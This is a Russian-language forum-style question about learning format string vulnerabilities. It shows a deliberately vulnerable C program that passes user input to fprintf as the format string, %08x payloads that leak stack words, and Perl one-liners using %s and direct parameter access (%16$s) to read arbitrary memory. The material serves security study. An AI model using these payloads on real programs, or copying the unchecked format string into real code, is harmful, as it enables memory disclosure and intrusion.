Я занимаюсь исследованием компьютерной безопасности и пытаюсь узнать об уязвимостях строкового формата. Я запускаю программу, которая содержит этот код:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
Когда я передаю программе аргумент «% 08x.% 08x.% 08x.% 08x.% 08x» (который читается в переменную «data»), я получаю вывод:
00000020.b7fd7560.08048b09.00000019.78383025
Я понимаю, что каждое шестнадцатеричное число выталкивается из стека, а "78383025" происходит из самого буфера. Таким образом, есть 4 слова - 16 байтов - которые мне нужно выдвинуть прежде, чем я доберусь до начала моего буфера.
Когда я даю аргумент `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`
, часть% s печатает строку, расположенную по адресу памяти 0xbffff92a.
Теперь я хотел бы сделать это, используя прямой доступ к параметрам. Если я передаю программе аргумент `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`
, я должен ожидать, что программа будет делать то же самое, что и выше. Но все, что печатает программа - это четыре символа в начале буфера. Итак, что дает ??? Я использую неправильный синтаксис для DPA ???
Я использую Ubuntu 9.04, кстати, 32-битную версию.
Вот некоторый скомпилированный код, который не гарантирует того же результата:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}